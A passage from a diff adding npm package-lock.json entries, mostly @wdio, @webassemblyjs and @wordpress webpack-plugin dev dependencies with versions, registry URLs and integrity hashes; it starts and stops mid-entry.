"sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wdio/logger/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@wdio/logger/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@wdio/logger/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wdio/logger/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wdio/logger/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wdio/protocols": { + "version": "5.22.1", + "resolved": "https://registry.npmjs.org/@wdio/protocols/-/protocols-5.22.1.tgz", + "integrity": "sha512-GdoWb/HTrb09Qb0S/7sLp1NU94LAhTsF1NnFj5sEFSUpecrl0S07pnhVg54pUImectN/woaqSl7uJGjlSGZcdQ==", + "dev": true, + "engines": { + "node": ">= 4.8.5" + } + }, + "node_modules/@wdio/repl": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/@wdio/repl/-/repl-5.23.0.tgz", + "integrity": "sha512-cKG9m0XuqcQenQmoup0yJX1fkDQEdY06QXuwt636ZQf6XgDoeoAdNOgnRnNruQ0+JsC2eqHFoSNto1q8wcLH/g==", + "dev": true, + "dependencies": { + "@wdio/utils": "5.23.0" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/@wdio/utils": { + "version": "5.23.0", + "resolved": "https://registry.npmjs.org/@wdio/utils/-/utils-5.23.0.tgz", + "integrity": "sha512-dWPEkDiaNUqJXPO6L2di2apI7Rle7Er4euh67Wlb5+3MrPNjCKhiF8gHcpQeL8oe6A1MH/f89kpSEEXe4BMkAw==", + "dev": true, + "dependencies": { + "@wdio/logger": "5.16.10", + "deepmerge": "^4.0.0" + }, + "engines": { + "node": ">= 8.11.0" + } + }, + "node_modules/@wdio/utils/node_modules/deepmerge": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.0.tgz", + "integrity": "sha512-z2wJZXrmeHdvYJp/Ux55wIjqo81G5Bp4c+oELTW+7ar6SogWHajt5a9gO3s3IDaGSAXjDk0vlQKN3rms8ab3og==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", + "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==", + "dev": true, + "dependencies": { + "@webassemblyjs/helper-module-context": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz", + "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz", + "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz", + "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-code-frame": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz", + "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==", + "dev": true, + "dependencies": { + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "node_modules/@webassemblyjs/helper-fsm": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz", + "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-module-context": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz", + "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz", + "integrity": "sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz", + "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz", + "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==", + "dev": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz", + "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==", + "dev": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz", + "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==", + "dev": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz", + "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/helper-wasm-section": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-opt": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz", + "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz", + "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz", + "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "node_modules/@webassemblyjs/wast-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz", + "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/floating-point-hex-parser": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-code-frame": "1.9.0", + "@webassemblyjs/helper-fsm": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz", + "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@wordpress/dependency-extraction-webpack-plugin/-/dependency-extraction-webpack-plugin-2.8.0.tgz", + "integrity": "sha512-fEOsSl1kYY8gkiAe7OM9IopmSOtaAug37OQwKVeda5fK6xLsnpqprP5iwHHOApNWMEzgmVGS6/iW5IZoi7qv/A==", + "dev": true, + "dependencies": { + "json2php": "^0.0.4", + "webpack": "^4.8.3", + "webpack-sources": "^1.3.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/acorn": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", + "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/ajv": { + "version": "6.12.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", + "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/ajv-keywords": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", + "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/anymatch": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz", + "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==", + "dev": true, + "optional": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/binary-extensions": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz", + "integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==", + "dev": true, + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.4.1.tgz", + "integrity": "sha512-TQTJyr2stihpC4Sya9hs2Xh+O2wf+igjL36Y75xx2WdHuiICcn/XJza46Jwt0eT5hVpQOzo3FpY3cj3RVYLX0g==", + "dev": true, + "optional": true, + "dependencies": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.4.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.1.2" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/eslint-scope": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", + "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", + "dev": true, + "dependencies": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/events": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", + "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fsevents": { + "version": 